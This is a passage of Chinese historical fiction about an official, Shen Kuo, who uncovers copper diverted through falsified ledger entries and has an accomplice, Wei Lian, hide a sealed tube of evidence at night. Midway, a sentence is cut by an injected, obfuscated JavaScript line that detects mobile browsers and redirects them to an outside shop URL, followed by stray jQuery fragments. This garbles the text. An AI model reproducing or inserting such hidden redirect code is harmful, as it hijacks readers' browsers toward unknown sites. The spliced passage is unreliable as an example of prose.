午后的日光从工坊的窄窗斜照进来，在沈括面前的旧木台上铺了一道暖色的、正在缓慢移动的光斑。
他手里握着一卷新收到的帛纸，边角已经被翻出了细密的毛边，像是被人反复展开又折起过很多次。
他没有在看帛纸上的内容——他已经看完了，看了三遍，每一遍都在同一个位置停了一下，然后才继续往下走。
他低着头，目光落在帛纸末尾那道签名上。李通。字迹偏扁，笔画收得紧，像一个人在落笔时下意识地把手腕向内收了一线，带着常年做账的人才会有的那种、精确到近乎刻板的控制力。
半年前，以“修葺别院”为名调铜的出库记录。经手人签名处是李通的名字。库管签名处，是沈括自己的名字。
他把帛纸放在木台上，指腹在那个名字上压了一下，收回手。
铜料箱的盖子在他脚边敞开着，箱底那本旧账册已经合上放在了一边。
他半年来调铜的记录都没有任何问题——工尹府出去的每一批铜料都按流程走了“修葺”的账目，签收人确实是李通，但真正的去向是淮南君的偏库。
三年前他的师傅在账册边缘留下的那行铅笔批注还在，但那行字只说明了一件事：
他师傅知道有东西被转走了。现在这卷帛纸，补上的是一条他师傅当年没有写出来的下游流向。
他听见身后传来脚步声——前院的门被推开了，脚步声穿过廊道，在工坊门口停住，没有进来。
来人的声音压得很低，像怕被院墙外面的风听了去：“工尹大人——甜水巷那边今天下午没有动静，第三家院子的门一直关着，人没出来过。”
沈括没有回头。他把那卷帛纸卷好，放进袖中，然后走到炭炉旁边，用铁钳拨了一下炉膛里的炭火，灰烬被翻动的时候扬起一小片细碎的热尘。
他开口的声音平静，像在说一件已经确认过路线的事情：“你回去继续盯着。如果他出来，不用跟，回来告诉我就行。”
脚步声退出了工坊，门被重新带上。
沈括在炉火旁边站了片刻。
火光在他古铜色的侧脸上跳动，把他眉骨上那道旧疤的轮廓照得时而深时而浅。
他伸手碰了一下铁砧边沿那粒冷透了的铜屑，指腹碾了一下，铜屑在他指腹间碎成更细的粉末，像一小撮被烧过又冷却的金色尘土。
他转身从木台抽屉里取出一只新的竹管，比手指略长，管壁已经被打磨过一次，表面光滑，没有毛刺。
他把那卷帛纸卷好，塞进竹管里，用蜡封了口，然后拢进袖中，工坊的门在他身后合拢，日光从门缝里被切断，像一道被合拢的旧布帘。
傍晚的天色从灰蓝沉向暗紫，南市的灯火正在一盏一盏地亮起来。
沈括没有走正街，他穿过工坊后面的窄巷，经过两座已经关了门的旧磨坊，从一道半塌的矮墙上翻了过去，落在甜水巷的巷口时，天色已经彻底暗了，只有巷口一盏旧灯还在亮着。第三家的院门依然关着，门缝里没有透出光，暗红色的旧漆在夜色里几乎看不清颜色。
沈括在门前站定了。
他没有敲门，只是伸手在门板上推了一下——门轴无声地转开，像是刚才被人上过油。他侧身挤过门缝，走进院内，回手把门重新合拢了。
院子里很安静。枣树的枝叶在夜风里偶尔晃动一下，落下几片影子。
卫怜蹲在石凳旁边的暗处，没有起身。他穿的是一件深灰色的旧袍，在夜色里几乎和墙根的阴影融成了一体，只有那双眼——偏浅的瞳仁在黑暗中微微亮着，像两粒被磨过的旧茶晶，正在看着沈括从门口走进来。
沈括在他面前站定，两人之间隔着一臂多一点的距离。他没有坐下，从袖中取出那只竹管，放在石凳的台面上，指腹在管壁上压了一下，然后收回手。
“半年前的调铜记录。经手人李通，签收人是你师傅的名字。你师傅当年批过的那批废铜料出库记录上写的也是他的名字——他的签名被重复使用了两次。你把这只竹管放进偏库墙根下第三块砖的空隙里，放好之后不用管它。”
卫怜蹲在暗处，目光落在那只竹管上，看了几息。他没有问“什么时候放”，没有问“放了之后会怎样”。
他伸手拿起那只竹管，拢进袖中，站起来的时候动作很轻，膝盖内侧那一道酸涩感从旧伤的位置缓缓浮上来，他没有停顿。
“今晚。”他说。声音发涩，像一把被用得很少的旧钥匙在锁孔里转了一圈：“今晚子时之前放进去。”
他走了两步，在枣树旁边停了一下，侧过头来，看了看沈括，然后收回了目光，像确认了某件事已经不需要再确认第二遍。
然后他走向了后墙，翻墙的动作和之前一样轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942543|213957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，落地时靴底几乎没有发出声响。
沈括站在院子里，看着那道深灰色的身影从墙头消失，夜色在墙头重新合拢，像一页被翻过去的旧书页的边缘缓缓落回原处。他转身走出院门，经过巷口那盏旧灯时没有抬头。
他走过南市时街上的灯火已经亮了大半，有摊贩在收摊，有老妇人端着碗蹲在门槛边喝粥，有孩子在巷口追逐着跑过去，衣摆带起一阵干燥的晚风。
沈括穿过那些灯火的时候，他的步伐一直没有变——不快不慢，像一条已经被反复确认过走向、正在沿着预定路线匀速流动的暗渠。
夜色完全沉下去之后，甜水巷第三家院子的后墙根下，一道深灰色的影子无声地翻了过去。
卫怜沿着墙根移动到通济桥北端的胡同入口，在入口处停了一瞬，侧耳听了一会儿胡同深处的动静——没有人声，没有灯火，只有远处偶尔传来的一两声犬吠，像从水底浮上来的气泡一样短促而模糊。
他走进胡同，步伐稳定，每一步都踩在墙根阴影和砖缝交界的那条窄线上，没有发出任何多余的声响。
他在偏库门外蹲下来，伸手探向墙根下第三块砖的位置——砖缝里的土是干的，说明最近没有人翻动过它。
他用指尖扣住砖缝的边缘，把砖块向外抽出了一线，然后从袖中取出那只竹管，顺着砖缝的走向推进去，推到底，再用指腹把砖块压回原位，砖缝闭合后他用指尖在砖面边缘刮了一下，把刚才抽动时散落的细土重新抹平，让砖缝看起来和周围其他砖块没有任何区别。
他蹲在那里，大约十息。
夜色很安静，墙根下的泥土在夜风里持续地散着微凉的潮气。然后他站起来，沿着原路退出了胡同，退出的步伐和进入时一样稳定，每一步都踩在同一个位置。
他翻回甜水巷后墙的时候，月色正好被云层遮住，他的灰色身影在夜色中短暂地亮了一下又暗下去，像一阵风从树梢上掠过去，落进了枣树的阴影里。
卫怜蹲回院子里，蹲在石凳旁边的暗处，像没有离开过一样。
他靠着墙根坐着，偏浅色的瞳孔在黑暗中微微亮着，夜风吹过枣树枝叶的声响在他头顶断断续续地响着，把远处更夫的打更声压成了几不可闻的碎片。
他伸手碰了一下袖口内侧——空的，竹管已经不在那里了。他收回了手，拢进袖中，继续蹲着。